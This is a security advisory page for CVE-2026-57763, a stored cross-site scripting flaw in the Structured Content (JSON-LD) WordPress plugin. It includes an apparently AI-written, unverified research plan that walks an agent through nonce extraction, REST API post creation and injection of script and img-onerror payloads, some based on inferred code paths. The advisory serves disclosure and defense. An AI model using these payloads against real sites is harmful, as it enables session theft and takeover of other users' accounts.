CVE-2026-57763

Structured Content (JSON-LD) #wpsc <= 1.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Structured Content (JSON-LD) #wpsc plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.0
PublishedJuly 2, 2026
Last updatedJuly 7, 2026
Affected pluginstructured-content
Research Plan
Unverified

This research plan outlines the steps for identifying and exploiting CVE-2026-57763, a Stored Cross-Site Scripting (XSS) vulnerability in the **Structured Content (JSON-LD) #wpsc** plugin for WordPress. ### 1. Vulnerability Summary The Structured Content (JSON-LD) #wpsc plugin is designed to help u…

Show full research plan

This research plan outlines the steps for identifying and exploiting CVE-2026-57763, a Stored Cross-Site Scripting (XSS) vulnerability in the Structured Content (JSON-LD) #wpsc plugin for WordPress.

1. Vulnerability Summary

The Structured Content (JSON-LD) #wpsc plugin is designed to help users add schema.org JSON-LD data (like FAQs, Job Postings, and How-Tos) via Gutenberg blocks or shortcodes. The vulnerability exists in versions up to and including 1.7.0. It occurs because the plugin fails to sanitize user-provided attributes in its blocks/shortcodes before saving them, and subsequently fails to escape them when rendering the visual elements or the JSON-LD script on the frontend. This allows a user with Contributor privileges (who can create and save posts) to inject malicious <script> tags.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-json/wp/v2/posts (Gutenberg REST API) or wp-admin/post.php (Classic Editor).
  • Vulnerable Component: Rendering logic for "Structured Content" blocks (e.g., FAQ, How-To, Course).
  • Authentication: Required (Contributor level or higher).
  • Preconditions: The plugin must be active. The attacker needs the ability to edit a post or page.

3. Code Flow (Inferred)

  1. Entry Point: A Contributor creates a post containing a "Structured Content" Gutenberg block (e.g., wpsc/faq).
  2. Storage: The block attributes (e.g., question, answer, title) are saved as JSON metadata within the post's post_content.
  3. Frontend Hook: When the post is viewed, the plugin uses a render_callback registered via register_block_type or an add_shortcode callback.
  4. Vulnerable Sink:
    • The plugin iterates through the saved attributes and generates HTML (visual display).
    • It also generates a <script type="application/ld+json"> block.
    • The Bug: The plugin likely uses echo or returns the attributes directly without applying esc_html() or wp_kses() to the visual output, or it fails to escape </script> tags within the JSON-LD generation, allowing for a script block breakout.

4. Nonce Acquisition Strategy

To exploit this via the WordPress REST API (the most reliable method for modern Gutenberg-based plugins), the agent must obtain a wp_rest nonce.

  1. Identify Trigger: The plugin's editor scripts are localized and enqueued when editing a post.
  2. Test Data Setup:
    • Create a contributor user.
    • Navigate to the "New Post" page as the contributor.
  3. Extraction:
    • Use browser_navigate to go to http://[target]/wp-admin/post-new.php.
    • Use browser_eval to extract the REST nonce from the WordPress global settings object:
      browser_eval("wpApiSettings.nonce")
      
    • Alternatively, look for the localized variable for the plugin (inferred): window.wpsc_admin_vars?.nonce.

5. Exploitation Strategy

The goal is to update a post with a malicious block payload that triggers XSS when viewed.

Step 1: Create a Draft Post
Use the http_request tool to create a post as a Contributor.

  • Method: POST
  • URL: http://[target]/wp-json/wp/v2/posts
  • Headers: Content-Type: application/json, X-WP-Nonce: [extracted_nonce]
  • Body:
    {
      "title": "XSS Test Post",
      "status": "draft",
      "content": "Temporary content"
    }
    
  • Capture: The id of the newly created post from the response.

Step 2: Inject Payload via Update
Update the post with a malicious "Structured Content" block. We will target the FAQ block (inferred identifier wpsc/faq).

  • Payload (Gutenberg Block):
    <!-- wp:wpsc/faq {"questions":[{"id":"1","question":"<script>alert(document.cookie)</script>","answer":"Injected"}]} /-->
    
  • Method: POST
  • URL: http://[target]/wp-json/wp/v2/posts/[post_id]
  • Body:
    {
      "content": "<!-- wp:wpsc/faq {\"questions\":[{\"id\":\"1\",\"question\":\"<script>alert(document.cookie)</script>\",\"answer\":\"Injected\"}]} /-->"
    }
    

Step 3: Trigger XSS
Navigate to the frontend URL of the post (provided in the previous response as link). If an admin or any user views this page, the script will execute.

6. Test Data Setup

  1. Plugin: Install and activate structured-content version 1.7.0.
  2. User: Create a user with the contributor role.
  3. Initial Post: Not strictly required, as the exploit creates one, but having an existing post to edit can also work.

7. Expected Results

  • REST API Response: 200 OK or 201 Created, showing the post_content now contains the raw <script> tag within the block attributes.
  • Frontend Output: When the page source is viewed, the HTML should contain:
    <div class="wpsc-faq-question">...<script>alert(document.cookie)</script>...</div>
    
    OR inside the JSON-LD:
    "name": "</script><script>alert(document.cookie)</script>"
    

8. Verification Steps

After performing the HTTP requests, verify the injection using wp-cli:

  1. Check Post Content:
    wp post get [post_id] --field=post_content
    
  2. Check for rendered payload: Use http_request (GET) on the post's permalink and grep for the canary:
    # (Metaphorical grep via agent) 
    # Check if "<script>alert" exists in the response body.
    

9. Alternative Approaches

If the Gutenberg block method fails, target the shortcode system (inferred):

  • Shortcode Payload:
    [wpsc_faq][wpsc_faq_item question="<img src=x onerror=alert(1)>" answer="test"][/wpsc_faq]
    
  • Update the post content via REST API using this string. Shortcodes are often processed via a different rendering path (add_shortcode) which might have separate, equally vulnerable logic.

If application/ld+json is correctly escaped but the visual block is not, try an attribute-based breakout:

  • Payload: "><img src=x onerror=alert(1)>
  • This targets cases where the plugin places the attribute inside an HTML tag attribute like data-question="...".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Structured Content (JSON-LD) #wpsc plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its Gutenberg blocks in versions up to 1.7.0. Authenticated attackers with Contributor-level access can inject malicious scripts into block attributes such as FAQ questions or answers. These scripts are then executed in the context of any user's browser when the affected post is viewed, due to the plugin's failure to sanitize input or escape output.

Exploit Outline

An attacker authenticates as a Contributor and obtains a REST API nonce, typically found in the global 'wpApiSettings' object on the post editor page. They then send a POST request to the WordPress REST API endpoint for posts, including a 'Structured Content' block (e.g., 'wpsc/faq') in the content. The payload places a script tag inside a block attribute, such as 'question'. When an administrator or visitor views the post, the plugin renders the unsanitized attribute, triggering the execution of the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.